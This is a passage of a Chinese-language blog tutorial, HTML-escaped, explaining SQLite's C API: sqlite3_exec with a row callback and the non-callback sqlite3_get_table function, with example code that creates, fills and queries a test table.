class=\"line\"\u003e111\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e112\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e113\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e114\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e115\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e116\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e117\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//sqlite3的回调函数      \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// sqlite 每查到一条记录,就调用一次这个回调\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eLoadMyInfo\u003c/span\u003e\u003cspan class=\"params\"\u003e( \u003cspan class=\"type\"\u003evoid\u003c/span\u003e * para, \u003cspan class=\"type\"\u003eint\u003c/span\u003e n_column, \u003cspan class=\"type\"\u003echar\u003c/span\u003e ** column_value, \u003cspan class=\"type\"\u003echar\u003c/span\u003e ** column_name )\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"comment\"\u003e//para是你在 sqlite3_exec 里传入的 void * 参数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"comment\"\u003e//通过para参数,你可以传入一些特殊的指针(比如类指针、结构指针),然后在这里面强制转换成对应的类型(这里面是void*类型,必须强制转换成你的类型才可用)。然后操作这些数据\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"comment\"\u003e//n_column是这一条记录有多少个字段 (即这条记录有多少列)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"comment\"\u003e// char ** column_value 是个关键值,查出来的数据都保存在这里,它实际上是个1维数组(不要以为是2维数组),每一个元素都是一个 char * 值,是一个字段内容(用字符串来表示,以/0结尾)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"comment\"\u003e//char ** column_name 跟 column_value是对应的,表示这个字段的字段名称\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"comment\"\u003e//这里,我不使用 para 参数。忽略它的存在.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"type\"\u003eint\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e( “记录包含 %d 个字段/n”, n_column );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e( i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e ; i \u0026lt; n_column; i ++ )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e( “字段名:%s  ß\u0026gt; 字段值:%s/n”,  column_name[i], column_value[i] );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e( “------------------/n“ );        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e( \u003cspan class=\"type\"\u003eint\u003c/span\u003e , \u003cspan class=\"type\"\u003echar\u003c/span\u003e ** )\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    sqlite3 * db;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"type\"\u003eint\u003c/span\u003e result;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"type\"\u003echar\u003c/span\u003e * errmsg = \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    result = sqlite3_open( “c:\u003cspan class=\"comment\"\u003e//Dcg_database.db”, \u0026amp;db );\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e( result != SQLITE_OK )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        \u003cspan class=\"comment\"\u003e//数据库打开失败\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//数据库操作代码\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//创建一个测试表,表名叫 MyTable_1,有2个字段: ID 和 name。其中ID是一个自动增加的类型,以后insert时可以不去指定这个字段,它会自己从0开始增加\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eresult = sqlite3_exec( db, “create table MyTable_1( ID integer primary key autoincrement, name nvarchar(\u003cspan class=\"number\"\u003e32\u003c/span\u003e) )”, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, errmsg );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(result != SQLITE_OK )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e( “创建表失败,错误码:%d,错误原因:%s/n”, result, errmsg );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//插入一些记录\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eresult = sqlite3_exec( db, “insert into MyTable_1( name ) values ( ‘走路’ )”, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, errmsg );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(result != SQLITE_OK )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e( “插入记录失败,错误码:%d,错误原因:%s/n”, result, errmsg );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eresult = sqlite3_exec( db, “insert into MyTable_1( name ) values ( ‘骑单车’ )”, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, errmsg );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(result != SQLITE_OK )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e( “插入记录失败,错误码:%d,错误原因:%s/n”, result, errmsg );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eresult = sqlite3_exec( db, “insert into MyTable_1( name ) values ( ‘坐汽车’ )”, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, errmsg );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(result != SQLITE_OK )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e( “插入记录失败,错误码:%d,错误原因:%s/n”, result, errmsg );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//开始查询数据库\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eresult = sqlite3_exec( db, “select * from MyTable_1”, LoadMyInfo, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, errmsg );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//关闭数据库\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esqlite3_close( db );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e通过上面的例子,应该可以知道如何打开一个数据库,如何做数据库基本操作。\u003c/p\u003e\u003cp\u003e有这些知识,基本上可以应付很多数据库操作了。\u003c/p\u003e\u003cp\u003e(3)不使用回调查询数据库\u003c/p\u003e\u003cp\u003e上面介绍的 sqlite3_exec 是使用回调来执行 select 操作。还有一个方法可以直接查询而不需要回调。但是,我个人感觉还是回调好,因为代码可以更加整齐,只不过用回调很麻烦,你得声明一个函数,如果这个函数是类成员函数,你还不得不把它声明成 static 的(要问为什么?这又是C++基础了。C++成员函数实际上隐藏了一个参数:this,C++调用类的成员函数的时候,隐含把类指针当成函数的第一个参数传递进去。结果,这造成跟前面说的 sqlite 回调函数的参数不相符。只有当把成员函数声明成 static 时,它才没有多余的隐含的this参数)。\u003c/p\u003e\u003cp\u003e虽然回调显得代码整齐,但有时候你还是想要非回调的 select 查询。这可以通过 sqlite3_get_table 函数做到。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_get_table\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3*, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *sql, \u003cspan class=\"type\"\u003echar\u003c/span\u003e ***resultp, \u003cspan class=\"type\"\u003eint\u003c/span\u003e *nrow, \u003cspan class=\"type\"\u003eint\u003c/span\u003e *ncolumn, \u003cspan class=\"type\"\u003echar\u003c/span\u003e **errmsg )\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e第1个参数不再多说,看前面的例子。\u003c/p\u003e\u003cp\u003e第2个参数是 sql 语句,跟 sqlite3_exec 里的 sql 是一样的。是一个很普通的以/0结尾的char *字符串。\u003c/p\u003e\u003cp\u003e第3个参数是查询结果,它依然一维数组(不要以为是二维数组,更不要以为是三维数组)。它内存布局是:第一行是字段名称,后面是紧接着是每个字段的值。下面用例子来说事。\u003c/p\u003e\u003cp\u003e第4个参数是查询出多少条记录(即查出多少行)。\u003c/p\u003e\u003cp\u003e第5个参数是多少个字段(多少列)。\u003c/p\u003e\u003cp\u003e第6个参数是错误信息,跟前面一样,这里不多说了。\u003c/p\u003e\u003cp\u003e下面给个简单例子:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e( \u003cspan class=\"type\"\u003eint\u003c/span\u003e , \u003cspan class=\"type\"\u003echar\u003c/span\u003e ** )\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   sqlite3 * db;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003eint\u003c/span\u003e result;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003echar\u003c/span\u003e * errmsg = \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003echar\u003c/span\u003e **dbResult; \u003cspan class=\"comment\"\u003e//是 char ** 类型,两个*号\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003eint\u003c/span\u003e nRow, nColumn;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003eint\u003c/span\u003e i , j;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003eint\u003c/span\u003e index;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   result = sqlite3_open( “c:\u003cspan class=\"comment\"\u003e//Dcg_database.db”, \u0026amp;db );\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e( result != SQLITE_OK )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        \u003cspan class=\"comment\"\u003e//数据库打开失败\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"comment\"\u003e//数据库操作代码\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"comment\"\u003e//假设前面已经创建了 MyTable_1 表\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"comment\"\u003e//开始查询,传入的 dbResult 已经是 char **,这里又加了一个 \u0026amp; 取地址符,传递进去的就成了 char ***\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   result = sqlite3_get_table( db, “select * from MyTable_1”, \u0026amp;dbResult, \u0026amp;nRow, \u0026amp;nColumn, \u0026amp;errmsg );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e( SQLITE_OK == result )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        \u003cspan class=\"comment\"\u003e//查询成功\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan 